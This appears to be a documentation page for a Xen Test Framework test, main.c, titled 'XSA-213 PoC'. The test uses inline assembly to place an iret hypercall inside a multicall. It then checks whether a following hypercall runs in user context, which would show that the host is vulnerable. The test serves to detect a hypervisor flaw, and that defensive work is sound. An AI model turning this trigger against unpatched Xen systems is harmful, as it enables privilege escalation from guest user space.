Xen Test Framework
main.c
Go to the documentation of this file.
1
23#include <xtf.h>
24
25const char test_title[] = "XSA-213 PoC";
26
27#define IRET_IDENTIFIER 0xdead
28
29/* IDT handler to recover from arriving at iret_entry. */
31asm(".align 16;"
32 "recover_from_iret:"
33 "mov %dr0, %" _ASM_SP ";"
34 "jmp multicall_return;"
35 );
36
37static const struct xtf_idte idte = {
39 .cs = __KERN_CS,
40 .dpl = 3,
41};
42
43/* Target of the __HYPERVISOR_iret hypercall. */
44void iret_entry(void);
45asm (".pushsection .text.user;"
46 ".global iret_entry;"
47 "iret_entry:"
48 "int $" STR(X86_VEC_AVAIL) ";"
49 ".popsection;"
50 );
51
52static long multi_iret_call(multicall_entry_t *multi, size_t nr)
53{
54 long rc, tmp;
55
56 asm volatile (/* Stash the stack pointer for recover_from_iret() */
57 "mov %%" _ASM_SP ", %%dr0;"
58
59 /*
60 * Build a __HYPERVISOR_iret stack frame, on the user_stack,
61 * landing at iret_entry(). The interrupt flag leaks in
62 * from real hardware, and needs clobbering.
63 */
64 "push $%c[ss];"
65 "push $user_stack + 4096;"
66 "pushf;"
67 "andl $~%c[intr], (%%" _ASM_SP ");"
68 "push $%c[cs];"
69 "push $iret_entry;"
70
71#ifdef __x86_64__ /* 64bit SYSEXIT flags, %rcx and %r11. Ignored. */
72 "push $0;"
73 "push $0;"
74 "push $0;"
75#endif
76 /* %rax to restore after __HYPERVISOR_iret. */
77 "push $ " STR(IRET_IDENTIFIER) ";"
78
79#ifdef __i386__ /* Start the __HYPERVISOR_multicall. */
80 "int $0x82;"
81#else
82 "syscall;"
83#endif
84 /* Recovery point from recover_from_iret(). */
85 "multicall_return:"
86
87 : "=a" (rc),
88#ifdef __i386__
89 "=b" (tmp), "=c" (tmp)
90#else
91 "=D" (tmp), "=S" (tmp)
92#endif
94 [ss] "i" (__USER_DS),
95 [cs] "i" (__USER_CS),
96 [intr] "i" (X86_EFLAGS_IF),
97#ifdef __i386__
98 "b" (multi), "c" (nr)
99#else
100 "D" (multi), "S" (nr)
101#endif
102 );
103
104 return rc;
105}
106
108 {
110 },
111 {
113 .args = {
114 (unsigned long)XENVER_version,
115 (unsigned long)NULL,
116 },
117 },
118};
119
120void test_main(void)
121{
122 long rc, xen_version = hypercall_xen_version(XENVER_version, NULL);
123
124 printk("Found Xen %ld.%ld\n",
125 (xen_version >> 16) & 0xffff, xen_version & 0xffff);
126
128
130
131 if ( rc != IRET_IDENTIFIER )
132 {
133 if ( rc )
134 xtf_error("Error: Unexpected multicall result %ld\n", rc);
135 else
136 xtf_failure("Fail: Multicall didn't finish at the iret\n");
137 }
138
139 if ( multi[1].result )
140 {
141 if ( multi[1].result == (unsigned long)xen_version )
142 xtf_failure("Fail: xen_version hypercall run in user context\n");
143 else
144 xtf_error("Error: Unexpected xen_version result %#lx\n",
145 multi[1].result);
146 }
147 else
148 xtf_success("Success: Not vulnerable to XSA-213\n");
149}
150
151/*
152 * Local variables:
153 * mode: C
154 * c-file-style: "BSD"
155 * c-basic-offset: 4
156 * tab-width: 4
157 * indent-tabs-mode: nil
158 * End:
159 */
#define _ASM_SP
Definition: asm_macros.h:37
void printk(const char *fmt,...)
Definition: console.c:134
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
int xtf_set_idte(unsigned int vector, const struct xtf_idte *idte)
Set up an IDT Entry, in a guest agnostic way.
Definition: traps.c:73
static long hypercall_xen_version(unsigned int cmd, void *arg)
Definition: hypercall.h:126
#define X86_VEC_AVAIL
Available for test use.
Definition: idt.h:20
#define ARRAY_SIZE(a)
Definition: lib.h:8
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define X86_EFLAGS_IF
Definition: processor.h:14
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define NULL
Definition: stddef.h:12
Definition: xen.h:263
unsigned long op
Definition: xen.h:264
A guest agnostic represention of IDT information.
Definition: idt.h:27
unsigned int cs
Definition: idt.h:29
unsigned long addr
Definition: idt.h:28
#define XENVER_version
Definition: version.h:8
#define __HYPERVISOR_iret
Definition: xen.h:36
#define __HYPERVISOR_multicall
Definition: xen.h:26
#define __HYPERVISOR_xen_version
Definition: xen.h:30
static multicall_entry_t multi[]
Definition: main.c:107
void recover_from_iret(void)
void iret_entry(void)
static const struct xtf_idte idte
Definition: main.c:37
#define IRET_IDENTIFIER
Definition: main.c:27
static long multi_iret_call(multicall_entry_t *multi, size_t nr)
Definition: main.c:52